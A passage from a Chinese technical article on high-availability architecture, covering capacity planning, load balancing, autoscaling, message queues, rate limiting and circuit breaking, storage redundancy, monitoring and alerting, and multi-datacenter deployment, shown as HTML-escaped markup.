&lt;strong&gt;单测覆盖率：&lt;/strong&gt;    &lt;ul&gt;     &lt;li&gt;代码编写完需要有一定的单测能力来保证代码的健壮性，同时也能保障我们后续调整逻辑或者优化的时候可以保证代码的稳定。&lt;/li&gt;     &lt;li&gt;包括：增量覆盖率、全量覆盖率。具体的覆盖率要达到多少，可以根据团队内部的实际情况来定，一般定的规则是 50% 的覆盖率。&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="left" height="60" valign="middle" width="403"&gt;    &lt;strong&gt;日志规范&lt;/strong&gt;：    &lt;p&gt;不要随便打日志、要接入远程日志、要能够分布式链路追踪。&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" valign="middle" width="123"&gt;    &lt;strong&gt;发布上线阶段&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" valign="middle" width="403"&gt;参考下面运维部署层面章节的灰度发布和接口测试相关说明（即6.1）。&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;h4&gt;  &lt;strong&gt;2.2&lt;/strong&gt;   &lt;strong&gt;容量规划和评估&lt;/strong&gt;&lt;/h4&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;strong&gt;容量评估：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;是指需要评估好在做的这个系统是为了应对一个什么体量的业务、这个业务请求量的平均值、高峰的峰值大概都在一个什么级别。&lt;/p&gt;
 &lt;p&gt;如果是新系统，那么就需要先搜集产品和运营同事对业务的大体预估，开发者根据他们给的数据再进行详细评估。如果是老系统，那么就可以根据历史数据来评估。评估的时候，要从一个整体角度来看全局的量级，然后再细化到每个子业务模块要承载的量级。&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;strong&gt;容量规划：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;是指系统在设计的时候，就要能够初步规划好系统大致能够维持的量级，比如是十万级还是百万级别的请求量，或者更多。不同量级对应的系统架构设计完全不一样。尤其到了千万、亿级别的量级的时候，架构设计会有更多的考量。&lt;/p&gt;
 &lt;p&gt;这里值得注意的是，不需要在一开始就设计出远超当前业务真实流量的系统，要根据业务实际情况来设计。同时，容量规划还涉及到：系统上下游的各个模块、依赖的存储、依赖的三方服务分别需要多少资源，需要有一个相对可量化的数据。容量规划阶段更多是要依靠自身和团队的经验，比如要了解系统的 log 的性能、redis 的性能、rpc 接口的性能、服务化框架的性能等等，然后根据各种组件的性能来综合评估已经设计的系统的整体性能情况。&lt;/p&gt;
 &lt;p&gt;容量评估和容量规划之后，还需要做就是性能压测。最好是能够做到全链路压测。&lt;/p&gt;
 &lt;p&gt;性能压测的目的是确保系统的容量规划是否准确。假设设计的这个系统，规划的是能够抗千万级别的请求。那么实际上，真的能够抗住吗 ？在上线之前首先要根据经验来判断，其次是一定要经过性能压测得出准确结论。  &lt;strong&gt;性能压测要关注的指标很多，但是重点要关注的是两个指标：一个是 QPS，一个是响应耗时要确保压测的结果符合预期&lt;/strong&gt;。&lt;/p&gt;
 &lt;p&gt;压测的步骤：可以先分模块单独压测。最后如果情况允许，那么最好执行全链路压测。&lt;/p&gt;
 &lt;h4&gt;  &lt;strong&gt;2.3&lt;/strong&gt;   &lt;strong&gt;QPS 预估（漏斗型）&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;  &lt;strong&gt;QPS 预估（漏斗型）指的是：一个真实的请求过来后，从接入层开始分别经过了整个系统的哪些层级、哪些模块，每一个层级的 QPS 的量级分别有多少。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;从请求链路上来看，层级越往下，下游层级的量级就会越少。因为每经过一个层级，都有可能会被各种条件过滤掉一部分请求。例如进入活动页后查看商品详情然后下单这个例子，首先进入活动页，所有的请求都会进入访问。然后只会有部分用户查询商品详情。最后查看商品详情的这些用户又只会有部分用户会下单。这里就会有一个漏斗，所以从上层模块到下层模块的量级一定是逐步减少的。&lt;/p&gt;
 &lt;p&gt;QPS 预估（漏斗型）需要开发者按照请求的层面和模块，来构建预估漏斗模型，然后预估好每一个层级的量级。包括但不限于从服务、接口、分布式缓存等各个层面来预估，最后构成完整的 QPS 漏斗模型。&lt;/p&gt;
 &lt;h2&gt;03、应用服务层面&lt;/h2&gt;
 &lt;h4&gt;  &lt;strong&gt;3.1&lt;/strong&gt;   &lt;strong&gt;无状态和负载均衡设计&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;要做到系统的高可用，一般应用服务的常规设计都是无状态的。这也就意味着，开发者可以部署多个实例来提高系统的可用性。而这多个实例之间的流量分配，就需要依赖系统的负载均衡能力。  &lt;strong&gt;「无状态 + 负载均衡」既可以让系统提高并发能力，也可以提高系统的可用性。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;如果开发者的业务服务使用的是各种微服务框架，那么大概率在这个微服务框架里面就包含了服务发现和负载均衡的能力。这一整套流程包括：服务注册和发现、负载均衡、健康状态检查和自动剔除。当系统的任何一个服务实例出现故障后，它会被自动剔除掉。当系统有新增一个服务实例后，它会被会自动添加进来提供服务。&lt;/p&gt;
 &lt;p&gt;如果大家不是使用的微服务框架来开发的，那么就需要依赖负载均衡的代理服务，例如 LVS、Nginx 来帮系统实现负载均衡。当然，腾讯云的 CLB 负载均衡也支持亿级连接和千万级并发，各位感兴趣的话可自行搜索了解。&lt;/p&gt;
 &lt;h4&gt;  &lt;strong&gt;3.2&lt;/strong&gt;   &lt;strong&gt;弹性扩缩容设计&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;弹性扩缩容设计是应对突峰流量的非常有效的手段之一，同时也是保障系统服务可用性的必要手段。弹性扩缩容针对的是系统无状态的应用服务而言的。服务是无状态的，因此可以随时根据请求量的大小来进行扩缩容，流量大就扩容来应对大量请求，流量小的时候就缩容减少资源占用。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;怎么实现弹性扩缩容呢？&lt;/strong&gt; 现阶段都是云原生时代，大部分的公司都是采用容器化（K8s）部署，那么基于这个情况的话，弹性扩缩容就非常容易了，只需要配置好 K8s 的弹性条件就能自动根据 CPU 的使用率来实现。&lt;/p&gt;
 &lt;p&gt;如果不是容器化部署，是物理机部署的方式，那么要做到弹性扩缩容，必须要有一个公司内部的基础建设能力、能够在运营平台上针对服务的 CPU 或者 QPS 进行监控。如果超过一定的比例就自动扩缩容，就和 K8s 的弹性原理是一样的，只是需要自行实现。&lt;/p&gt;
 &lt;h4&gt;  &lt;strong&gt;3.3&lt;/strong&gt;   &lt;strong&gt;异步解耦和削峰设计（消息队列）&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;  &lt;strong&gt;要想系统能够高可用？&lt;/strong&gt; 从架构层面来说，要做到分层、分模块来设计。而分层分模块之后各个模块之间，还可以进行异步处理、解耦处理。目的是为了不相互影响，通过异步和解耦可以使系统的架构大大的提升可用性。&lt;/p&gt;
 &lt;p&gt;架构层面的异步解耦方式就是采用消息队列（比如常见的 Kafka），并且同时消息队列还有削峰的作用，这两者都可以提高系统的架构可用性：&lt;/p&gt;
 &lt;p&gt;采用消息队列之后，可以把同步的流程转换为异步的流程，消息生成者和消费者都只需要和消息队列进行交互。这样不仅做了异步处理，还将消息生成者和消费者进行了隔离。&lt;/p&gt;
 &lt;table align="center"&gt;  &lt;tr&gt;   &lt;td align="center" valign="middle" width="55.33333333333333"&gt;    &lt;p&gt;     &lt;strong&gt;方式&lt;/strong&gt;     &lt;br /&gt;&lt;/p&gt;&lt;/td&gt;   &lt;td align="center" valign="middle" width="471"&gt;    &lt;p&gt;解析&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="1" valign="middle" width="55.33333333333333"&gt;    &lt;p&gt;     &lt;strong&gt;异步&lt;/strong&gt;     &lt;br /&gt;&lt;/p&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="1" valign="middle" width="68"&gt;异步处理的优势在于，不管消息的后续处理的业务服务是否完成，只要消息队列还没满，那么就可以执行对外提供服务。而消费方则可以根据自身处理能力来消费消息，再进行处理。&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="1" valign="middle" width="55.33333333333333"&gt;    &lt;p&gt;解耦     &lt;br /&gt;&lt;/p&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="1" valign="middle" width="68"&gt;    &lt;p&gt;解耦的优势在于如果消费方异常，并不影响生产方，依然可以对外提供服务。消息消费者恢复后可以继续从消息队列里面，获取消费数据后执行业务逻辑。&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="3" valign="middle" width="55.33333333333333"&gt;    &lt;p&gt;     &lt;strong&gt;削峰&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="3" valign="middle" width="471"&gt;采用消息队列之后，还可以做到削峰的作用，当并发较高的时候甚至是流量突发的时候，只要消息生产者能够将消息写入到消息队列中，那么这个消息就不会丢。后续处理逻辑会慢慢的去消息队列里面消费这些突发的流量数据。这样就不会因为有突发流量而把整个系统打垮。&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;h4&gt;  &lt;strong&gt;3.4&lt;/strong&gt;   &lt;strong&gt;故障和容错设计&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;任何服务，一定会存在失败的情况，不可能有 100% 的可用性。服务在线上运行过程中，总会遇到各种各样意想不到的问题会让服务出现状况，因此业界来评价可用性 SLA 都是说多少个 9，例如 4 个 9(99.99%)的可用性。&lt;/p&gt;
 &lt;p&gt;为此，一般设计建议遵循「design for failure」的设计原则，设计出一套可容错的系统。需要做到尽早返回、自动修复，细节如下：&lt;/p&gt;
 &lt;table&gt;  &lt;tr&gt;   &lt;td align="center" height="32" valign="top" width="123"&gt;    &lt;p&gt;     &lt;strong&gt;要点&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;   &lt;td align="center" height="32" valign="top" width="403"&gt;    &lt;p&gt;解析&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="2" valign="middle" width="123"&gt;    &lt;p&gt;     &lt;strong&gt;      &lt;strong&gt;       &lt;strong&gt;遵循 fail fast 原则&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="2" valign="middle" width="403.3333333333333"&gt;    &lt;p&gt;Fail fast 原则是说，当系统的主流程的任何一步出现问题的时候，应该快速合理地结束整个流程，尽快返回错误，而不是等到出现负面影响才处理。&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="3" valign="middle" width="123"&gt;    &lt;p&gt;     &lt;strong&gt;      &lt;strong&gt;       &lt;strong&gt;具备自我保护的能力&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="3" valign="middle" width="403"&gt;    &lt;p&gt;当系统依赖的其他服务出现问题的时候，要尽快的进行降级、兜底等各种异常保护措施，避免出现连锁反应导致整个服务完全不可用。例如当系统依赖的数据存储出现问题，不能一直重试从而导致数据完全不可用。&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;h4&gt;  &lt;strong&gt;3.5&lt;/strong&gt;   &lt;strong&gt;过载保护设计（限流、熔断、降级）&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;系统无法高可用的一个重要原因就在于：系统经常会有突发的流量到来，导致服务超载运行。这个时候首先要做的是快速扩容，并且开发者事先就要预留好一定的冗余。另外一个情况下，就算扩容了，但是还是会超载。例如超过了下游依赖的存储的最大容量、或者超过了下游依赖的三方服务的最大容量。&lt;/p&gt;
 &lt;p&gt;那么这个时候，系统就需要执行过载保护策略了，主要包括限流、熔断、降级，过载保护是为了保证服务部分可用，不至于导致整个服务完全不可用。&lt;/p&gt;
 &lt;table&gt;  &lt;tr&gt;   &lt;td align="center" valign="top" width="123"&gt;    &lt;strong&gt;过载保护手段&lt;/strong&gt;&lt;/td&gt;   &lt;td align="center" valign="top" width="403"&gt;解析&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="2" valign="middle" width="123"&gt;    &lt;strong&gt;     &lt;strong&gt;      &lt;strong&gt;       &lt;strong&gt;限流&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="2" valign="middle" width="403.3333333333333"&gt;    &lt;p&gt;限流是指对进入系统的请求进行限流处理，如果请求量超过了系统最大处理能力或者超过了开发者指定的处理能力，那么直接拒绝请求，通过这种丢弃部分请求的方式可以保证整个系统有一定的可用性，不至于让整个系统完全不可用。那么怎样判别超过最大处理能力呢？一般就是利用 QPS 来判别，如果 QPS 超过阈值，那么就直接拒绝请求。     &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;     &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;限流有很多细节的策略，例如针对接口限流、针对服务限流、针对用户限流。&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="3" valign="middle" width="123"&gt;    &lt;strong&gt;     &lt;strong&gt;      &lt;strong&gt;       &lt;strong&gt;熔&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;    &lt;strong&gt;     &lt;strong&gt;      &lt;strong&gt;       &lt;strong&gt;断&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="3" valign="middle" width="403"&gt;熔断，断路（开路）的价值在于限制故障影响范围。一般希望控制、减少或中断和故障系统之间的通信，从而降低故障系统的负载，这有利于系统的恢复。一般系统的服务都会有很多下游依赖，如果下游依赖的服务出现问题，例如开始就超时甚至响应非常慢的话，如果不做任何处理，那么会导致整个请求都被卡住造成超时，那么系统的业务服务对外就无法提供任何正常的功能。    &lt;br /&gt;为此，熔断策略就可以解决这个问题，熔断就是当系统依赖的下游服务出现问题时，可以快速对其进行熔断（不发起请求），这样系统的业务服务至少可以提供部分功能。    &lt;br /&gt;熔断的设计至少需要包括：熔断请求判断机制算法、熔断恢复、熔断告警三部分。&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="1" valign="middle"&gt;    &lt;strong&gt;     &lt;strong&gt;      &lt;strong&gt;       &lt;strong&gt;降级&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="1" valign="middle"&gt;降级是指开发者划分好系统的核心功能和非核心功能，然后当系统超过最大处理能力之后，直接关闭掉非核心的功能，从而保证核心功能的可用。关闭非核心的功能后可以使系统释放部分资源，从而可以有资源来处理核心功能。&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;p&gt;熔断和降级这两个策略虽有些相似，字面的意思都是要快速拒绝请求。但是却是两个维度的设计：降级的目的是应对系统自身的故障，而熔断的目的是应对系统依赖的外部服务故障。&lt;/p&gt;
 &lt;h2&gt;04、存储层面&lt;/h2&gt;
 &lt;p&gt;当前的互联网时代，应用服务基本都是无状态的。因此应用服务的高可用相对来说会比较简单。但是数据存储的高可用相对来说，会复杂很多。因为数据是有状态的，那具体开发者要怎样保障数据存储的高可用。下文一起来分析下。&lt;/p&gt;
 &lt;p&gt;存储层面的高可用方案本质是通过数据的冗余来实现，将数据复制到多个存储介质里面，可以有效的避免数据丢失，同时还可以提高并发能力。因为数据是有状态的，这里会比服务的高可用要复杂很多。&lt;/p&gt;
 &lt;p&gt;常见的解决存储高可用的方案有两种：  &lt;strong&gt;集群存储和分布式存储&lt;/strong&gt;。业界大多是围绕这些来构建，或者是做相关衍生和扩展。下面展开讲解。&lt;/p&gt;
 &lt;h4&gt;  &lt;strong&gt;4.1&lt;/strong&gt;   &lt;strong&gt;集群存储（集中式存储）&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;集群存储是指由若干个「通用存储设备」组成的用于存储的集群。组成集群存储的每个存储系统的性能和容量均可通过「集群」的方式得以叠加和扩展。&lt;/p&gt;
 &lt;p&gt;集群存储适合业务存储量规模一般的场景，常规的业务数据存储一般都是集群存储方式就足够了。现在一般业务数据存储的使用默认都是集群方式。比如 Redis、MySQL 等存储类型。一般中大型互联网公司默认是集群存储的方式。&lt;/p&gt;
 &lt;p&gt;集群存储就是常说的「 1 主多备」或者「 1 主多从」的架构。写数据通过主机，读数据一般通过从机。集群存储主要需要考虑如下几个问题：&lt;/p&gt;
 &lt;table&gt;  &lt;tr&gt;   &lt;td align="left" colspan="1" rowspan="2" valign="middle" width="537.3333333333334"&gt;    &lt;ul&gt;     &lt;li&gt;主机如何将数据复制给备机（从机）？数据的写入都是通过主机，因此数据同步到备机（从机），就是要通过主机进行数据复制到备机（从机）。还需要考虑主备同步的时间延迟问题。      &lt;p&gt;       &lt;br /&gt;&lt;/p&gt;&lt;/li&gt;     &lt;li&gt;备机（从机）如何检测主机状态？      &lt;p&gt;       &lt;br /&gt;&lt;/p&gt;&lt;/li&gt;     &lt;li&gt;主机故障后，备机（从机）怎么切换为主机？主从架构中，如果主机发生故障，可直接将备机（从机）切换为主机。      &lt;p&gt;       &lt;br /&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;h4&gt;  &lt;strong&gt;4.2&lt;/strong&gt;   &lt;strong&gt;分布式存储&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;分布式是指将不同的业务分布在不同的节点。分布式中的每一个节点，都可以做集群。&lt;/p&gt;
 &lt;p&gt;「分布式存储系统」是将数据分散存储在多台独立的设备上。传统的网络存储系统采用集中的存储服务器存放所有数据，存储服务器成为系统性能的瓶颈，也是可靠性和安全性的焦点，不能满足大规模存储应用的需要。&lt;/p&gt;
 &lt;p&gt;分布式网络存储系统采用可扩展的系统结构，利用多台存储服务器分担存储负荷，利用位置服务器定位存储信息。它不但提高了系统的可靠性、可用性和存取效率，还易于扩展。&lt;/p&gt;
 &lt;p&gt;分布式存储适合非常大规模的数据存储，业务数据量巨大的场景可以采用这种方式。常见的分布式存储比如 COS、GooseFS、Hadoop(HDFS)、HBase、Elasticsearch 等。&lt;/p&gt;
 &lt;h1&gt;05&lt;/h1&gt;
 &lt;p&gt;产品层面&lt;/p&gt;
 &lt;p&gt;产品层面的高可用架构解决方案，基本上就是指兜底产品策略。降级/限流的策略，更多的是从后端的业务服务和架构上的设计来考虑相关解决方案。这里说的兜底策略也可叫做「柔性降级策略」，更多的则是通过产品层面上来考虑。下面举几个例子：&lt;/p&gt;
 &lt;table&gt;  &lt;tr&gt;   &lt;td valign="top" width="542"&gt;    &lt;ul&gt;     &lt;li&gt;      &lt;p&gt;当系统的页面获取不到数据时，或者无法访问时，要如何友好的告知用户。如「稍后重试」之类的方式。&lt;/p&gt;      &lt;p&gt;       &lt;br /&gt;&lt;/p&gt;&lt;/li&gt;     &lt;li&gt;      &lt;p&gt;当系统的真实的页面无法访问的时候，就需要产品提供一个默认页面，如果后端无法获取真实数据，那么直接渲染默认页面。&lt;/p&gt;      &lt;p&gt;       &lt;br /&gt;&lt;/p&gt;&lt;/li&gt;     &lt;li&gt;      &lt;p&gt;服务器需要停机维护，那么产品层面就会显示一个停机页面，所有用户只会弹出这个停机页面，不会请求后端服务。&lt;/p&gt;      &lt;p&gt;       &lt;br /&gt;&lt;/p&gt;&lt;/li&gt;     &lt;li&gt;      &lt;p&gt;抽奖商品显示一个默认兜底商品等等。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;h2&gt;06、  &lt;strong&gt;运维部署层面&lt;/strong&gt;&lt;/h2&gt;
 &lt;h4&gt;  &lt;strong&gt;6.1&lt;/strong&gt;   &lt;strong&gt;开发阶段-灰度发布、接口测试设计&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;灰度发布、接口测试、接口拨测系列设计包括但不限于：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;strong&gt;灰度发布：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;服务发布上线的时候，要有一个灰度的过程。先灰度 1-2 个服务实例，然后逐步放量观察。如果一切 ok，再逐步灰度，直到所有实例发布完毕。&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;strong&gt;接口测试：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;每次服务发布上线的时候，服务提供的各种接口，都要有接口测试用例。接口测试用例测试通过后，服务才能发布上线。这样目的是为了查看系统对外提供的接口是否能够正常运行，避免服务发布后才发现有问题。&lt;/p&gt;
 &lt;p&gt;灰度发布和接口测试，一般在大公司里面会有相关的 DevOps 流程来保证。&lt;/p&gt;
 &lt;h4&gt;  &lt;strong&gt;6.2&lt;/strong&gt;   &lt;strong&gt;开发阶段-监控告警设计&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;监控告警的设计，对部分大公司来说不是问题。因为一定会有一些比较专门的人去做这种基础能力的建设，会有对应的配套系统，业务开发者只需要配置或使用即可。&lt;/p&gt;
 &lt;p&gt;那如果公司内部没有相关基础建设，就需要开发者分别来接入对应的系统，或者直接接入一些指标、链路、日志、事件等多数据支持、更加一体化的监控平台，比如腾讯云可观测平台。&lt;/p&gt;
 &lt;table&gt;  &lt;tr&gt;   &lt;td align="center" valign="top" width="48.33333333333333"&gt;    &lt;strong&gt;系统&lt;/strong&gt;&lt;/td&gt;   &lt;td align="center" valign="top" width="471.3333333333333"&gt;    &lt;strong&gt;建设要求&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="2" valign="middle" width="48.33333333333333"&gt;    &lt;strong&gt;监控系统&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="2" valign="middle" width="471.3333333333333"&gt;    &lt;p&gt;     &lt;strong&gt;一般在监控系统这方面的开源解决方案包括但不限于这些：&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;ELK (Elasticsearch、Logstash、Kibana) 日志收集和分析：&lt;/strong&gt;我们的日志记录不能都本地存储，因为微服务化后，日志散落在很多机器上，因此必须要有一个远程日志记录的系统，ELK 是不二人选。&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;Prometheus 监控收集：&lt;/strong&gt;可以监控各种系统层面的指标，包括自定义的一些业务指标&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;OpenTracing 分布式全链路追踪：&lt;/strong&gt;一个请求的上下游这么多服务，怎么能够把一个请求的上下游全部串起来，那么就要依靠 OpenTracing，可以把一个请求下的所有链路都串起来并且有详细的记录。&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;OpenTelemetry 可观测系统标准：&lt;/strong&gt;最新的标准，大一统，集合了跟踪数据（Traces），指标数据（Metrics），日志数据（Logs）来观测分布式系统状态的能力。&lt;/p&gt;    &lt;p&gt;     &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;我们会依托开源系统进行自建或者扩展，甚至直接使用都行，然后我们的监控的指标一般会包括：&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;基础设施层的监控&lt;/strong&gt;：主要是针对网络、交换机、路由器等低层基础设备，这些设备如果出现问题，那么依托其运行的业务服务肯定就无法稳定的提供服务，我们常见的核心监控指标包括网络流量(入和出)、网络丢包情况、网络连接数等。&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;操作系统层的监控&lt;/strong&gt;：这里需要包含物理机和容器。常见的核心指标监控包括 CPU 使用率、内存占用率、磁盘 IO 和网络带宽等。&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;应用服务层的监控&lt;/strong&gt;：这里的指标会比较多，核心的比如主调请求量、被调请求量、接口成功率、接口失败率、响应时间（平均值、P99、P95 等）等。&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;业务内部的自定义监控&lt;/strong&gt;：每个业务服务自己的一些自定义的监控指标。比如电商系统这里的：浏览、支付、发货等各种情况的业务指标。&lt;/p&gt;    &lt;p&gt;     &lt;strong&gt;端用户层的监控&lt;/strong&gt;：前面的监控更多的都是内部系统层面的，但是用户真正访问到页面，中间还有外网的情况，用户真正获取到数据的耗时、打开页面的耗时等这些信息也是非常重要的，但是这个一般就是需要客户端或者前端去进行统计了。&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="3" valign="middle" width="48.33333333333333"&gt;    &lt;strong&gt;告警系统&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="3" valign="middle" width="471.3333333333333"&gt;这些系统接入完，还只是做到监控和统计，当出现问题时，还需要进行实时告警，因此要有一个实时告警系统，如果没有实时报警，系统运行异常后就无法快速感知，这样就无法快速处理，就会给使用者的业务带来重大故障和灾难。    &lt;br /&gt;告警设计需要包括：    &lt;strong&gt;实时性&lt;/strong&gt;：实现秒级监控。    &lt;br /&gt;    &lt;strong&gt;全&lt;/strong&gt;    &lt;strong&gt;面性&lt;/strong&gt;：覆盖所有系统业务。    &lt;br /&gt;    &lt;strong&gt;实用性&lt;/strong&gt;：预警分为多个级别。监控人员可以方便、实用地根据预警严重程度做出精确的决策。    &lt;br /&gt;    &lt;strong&gt;多样性&lt;/strong&gt;：预警方式提供推拉模式。包括短信，邮件，可视化界面，方便监控人员及时发现问题。&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;h4&gt;  &lt;strong&gt;6.3&lt;/strong&gt;   &lt;strong&gt;开发阶段-安全性、防攻击设计&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;安全性、防攻击设计的目的是为了防刷、防黑产、防黑客，避免被外部恶意攻击。一般有两个策略：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;
   &lt;p&gt;    &lt;strong&gt;在公司级别的流量入口做好统一的防刷和鉴权的能力，例如在统一接入层做好封装。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
  &lt;li&gt;
   &lt;p&gt;    &lt;strong&gt;在业务服务内部，做好相关的业务鉴权，比如登录态信息、例如增加业务鉴权的逻辑。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
 &lt;h4&gt;  &lt;strong&gt;6.4&lt;/strong&gt;   &lt;strong&gt;部署阶段-多机房部署（容灾设计）&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;一般的高可用策略，都是针对一个机房内的服务层面来设计的，但是如果整个机房都不可用了，例如地震、火灾、光纤挖断等情况怎么办？这就需要系统的服务和存储能够进行容灾了。容灾的常见方案就是多机房部署。&lt;/p&gt;
 &lt;table&gt;  &lt;tr&gt;   &lt;td align="center" height="34" valign="top" width="108.33333333333333"&gt;    &lt;strong&gt;类型&lt;/strong&gt;&lt;/td&gt;   &lt;td align="center" height="34" valign="top" width="411.3333333333333"&gt;    &lt;strong&gt;解析&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="2" valign="middle" width="108.33333333333333"&gt;    &lt;strong&gt;服务的多机房部署&lt;/strong&gt;&lt;/td&gt;   &lt;td align="left" colspan="1" rowspan="2" valign="middle" width="411.3333333333333"&gt;服务的多机房部署比较容易。因为我们的服务都是无状态的，因此只要名字服务能够发现不同机房的服务，就可以实现调用。这里需要注意的是名字服务（或者说负载均衡服务）要能够有就近访问的能力。&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;/tr&gt;  &lt;tr&gt;   &lt;td align="center" colspan="1" rowspan="1" valign="middle" width="60"&gt;    &lt;strong&gt;存储的多机房部署&lt;/strong&gt;&lt;/td&gt;   &lt;td align="center" colspan="1" rowspan="1" valign="middle" width="411.3333333333333"&gt;存储的多机房部署，这个会比较难搞一点，因为存储是有状态的，部署在不同的机房就涉及到存储的同步和复制问题。&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
 &lt;p&gt;条件不允许的情况下，保证多机房部署业务服务就可以了。&lt;/p&gt;
 &lt;h4&gt;  &lt;strong&gt;6.5&lt;/strong&gt;   &lt;strong&gt;线上运行阶段-故障演练（混沌实验）&lt;/strong&gt;&lt;/h4&gt;
 &lt;p&gt;故障演练在大公司是一个常见的手段。在业界，Netflix 早在 2010 年就构建了混沌实验工具 Chaos Monkey。混沌实验工程对于提升复杂分布式系统的健壮性和可靠性发挥了重要作用。&lt;/p&gt;
